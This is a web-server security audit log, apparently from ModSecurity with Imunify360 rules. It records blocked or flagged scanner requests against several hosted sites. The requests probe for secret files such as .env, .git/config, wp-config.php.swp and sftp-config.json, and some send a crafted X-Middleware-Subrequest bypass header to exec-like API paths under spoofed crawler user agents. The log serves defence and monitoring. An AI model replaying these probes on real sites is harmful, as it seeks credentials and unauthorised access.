Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ0qDTJ6xTvcJoem7f7gQAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293736888858 264418 (- - -)
Stopwatch2: 1789293736888858 264418; combined=40345, p1=241, p2=40035, p3=0, p4=0, p5=69, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a32fd33c-Z--

--ca583013-A--
[13/Sep/2026:13:02:21.745331 +0300] aqZ0rWM7dE9KgIIOpQh3kAAAAMA 34.80.249.255 52250 127.0.0.1 7081
--ca583013-B--
POST /api HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 455
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s1sgtogadnk0fq
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--ca583013-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ca583013-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293741659540 85871 (- - -)
Stopwatch2: 1789293741659540 85871; combined=19909, p1=379, p2=4614, p3=0, p4=0, p5=7594, sr=109, sw=0, l=0, gc=7322
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ca583013-Z--

--4bf94336-A--
[13/Sep/2026:13:02:22.213098 +0300] aqZ0rkwu1RSkptiiNIX53gAAAJU 34.80.249.255 52266 127.0.0.1 7081
--4bf94336-B--
POST /api/v1/validate/code HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--4bf94336-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4bf94336-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293742104809 108341 (- - -)
Stopwatch2: 1789293742104809 108341; combined=5447, p1=256, p2=4939, p3=0, p4=0, p5=252, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4bf94336-Z--

--62f66569-A--
[13/Sep/2026:13:02:22.536803 +0300] aqZ0risVWymXUono-eRViAAAAAY 34.80.249.255 52274 127.0.0.1 7081
--62f66569-B--
POST /api/fs/exec HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--62f66569-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--62f66569-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293742467400 69469 (- - -)
Stopwatch2: 1789293742467400 69469; combined=6380, p1=415, p2=5612, p3=0, p4=0, p5=353, sr=231, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62f66569-Z--

--b7296a55-A--
[13/Sep/2026:13:02:22.926404 +0300] aqZ0rmM7dE9KgIIOpQh3kQAAAMc 34.80.249.255 52282 127.0.0.1 7081
--b7296a55-B--
DELETE /api/inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--b7296a55-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b7296a55-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293742860975 65482 (- - -)
Stopwatch2: 1789293742860975 65482; combined=4880, p1=347, p2=4251, p3=0, p4=0, p5=282, sr=149, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b7296a55-Z--

--058bcd4f-A--
[13/Sep/2026:13:02:23.304369 +0300] aqZ0r2M7dE9KgIIOpQh3kgAAAM0 34.80.249.255 52294 127.0.0.1 7081
--058bcd4f-B--
DELETE /inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--058bcd4f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--058bcd4f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293743218193 86232 (- - -)
Stopwatch2: 1789293743218193 86232; combined=9793, p1=1320, p2=8145, p3=0, p4=0, p5=328, sr=168, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--058bcd4f-Z--

--8735d11d-A--
[13/Sep/2026:13:02:23.670833 +0300] aqZ0r2M7dE9KgIIOpQh3kwAAAMg 34.80.249.255 52304 127.0.0.1 7081
--8735d11d-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--8735d11d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8735d11d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293743586276 84661 (- - -)
Stopwatch2: 1789293743586276 84661; combined=5386, p1=278, p2=4766, p3=0, p4=0, p5=341, sr=138, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8735d11d-Z--

--f265893a-A--
[13/Sep/2026:13:02:24.175492 +0300] aqZ0sCsVWymXUono-eRViQAAAA8 34.80.249.255 52320 127.0.0.1 7081
--f265893a-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--f265893a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f265893a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293744101179 74364 (- - -)
Stopwatch2: 1789293744101179 74364; combined=4701, p1=238, p2=4195, p3=0, p4=0, p5=267, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f265893a-Z--

--5d275202-A--
[13/Sep/2026:13:02:24.679974 +0300] aqZ0sGM7dE9KgIIOpQh3lgAAAM8 34.80.249.255 52332 127.0.0.1 7081
--5d275202-B--
POST /mcp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Accept-Encoding: gzip

--5d275202-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5d275202-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293744592743 87285 (- - -)
Stopwatch2: 1789293744592743 87285; combined=5044, p1=237, p2=4428, p3=0, p4=0, p5=378, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d275202-Z--

--e92e415c-A--
[13/Sep/2026:13:03:52.133890 +0300] aqZ1CEwu1RSkptiiNIX57AAAAII 185.55.243.172 50266 127.0.0.1 7081
--e92e415c-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--e92e415c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e92e415c-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CEwu1RSkptiiNIX57AAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CEwu1RSkptiiNIX57AAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832027188 106749 (- - -)
Stopwatch2: 1789293832027188 106749; combined=4203, p1=255, p2=3871, p3=0, p4=0, p5=76, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e92e415c-Z--

--a36d9450-A--
[13/Sep/2026:13:03:52.330090 +0300] aqZ1CGM7dE9KgIIOpQh3nQAAAMA 185.55.243.172 50272 127.0.0.1 7081
--a36d9450-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--a36d9450-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a36d9450-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CGM7dE9KgIIOpQh3nQAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqZ1CGM7dE9KgIIOpQh3nQAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832250411 79748 (- - -)
Stopwatch2: 1789293832250411 79748; combined=4125, p1=288, p2=3774, p3=0, p4=0, p5=63, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a36d9450-Z--

--36d59e76-A--
[13/Sep/2026:13:03:52.461746 +0300] aqZ1CEwu1RSkptiiNIX57QAAAIM 185.55.243.172 50274 127.0.0.1 7081
--36d59e76-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--36d59e76-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--36d59e76-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqZ1CEwu1RSkptiiNIX57QAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832370039 91757 (- - -)
Stopwatch2: 1789293832370039 91757; combined=6434, p1=457, p2=5885, p3=0, p4=0, p5=91, sr=198, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--36d59e76-Z--

--6c4bf72b-A--
[13/Sep/2026:13:03:52.610750 +0300] aqZ1CGM7dE9KgIIOpQh3ngAAAMc 185.55.243.172 50278 127.0.0.1 7081
--6c4bf72b-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--6c4bf72b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c4bf72b-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqZ1CGM7dE9KgIIOpQh3ngAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293832530840 79957 (- - -)
Stopwatch2: 1789293832530840 79957; combined=4190, p1=241, p2=3891, p3=0, p4=0, p5=57, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c4bf72b-Z--

--27e63966-A--
[13/Sep/2026:13:18:42.552740 +0300] aqZ4gEwu1RSkptiiNIX6UQAAAJg 40.87.20.23 40034 127.0.0.1 7081
--27e63966-B--
GET /.env HTTP/1.1
Host: chania24.taxi
X-Real-IP: 40.87.20.23
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US,en;q=0.9
priority: u=0, i

--27e63966-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--27e63966-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.env"] [unique_id "aqZ4gEwu1RSkptiiNIX6UQAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789294720938218 1614642 (- - -)
Stopwatch2: 1789294720938218 1614642; combined=6035, p1=298, p2=5683, p3=0, p4=0, p5=54, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--27e63966-Z--

--f4d06265-A--
[13/Sep/2026:13:19:47.856299 +0300] aqZ4w2M7dE9KgIIOpQh4YwAAAM0 154.54.100.176 57046 127.0.0.1 7081
--f4d06265-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 154.54.100.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1
Accept-Charset: utf-8
Accept-Encoding: gzip

--f4d06265-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f4d06265-E--

--f4d06265-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
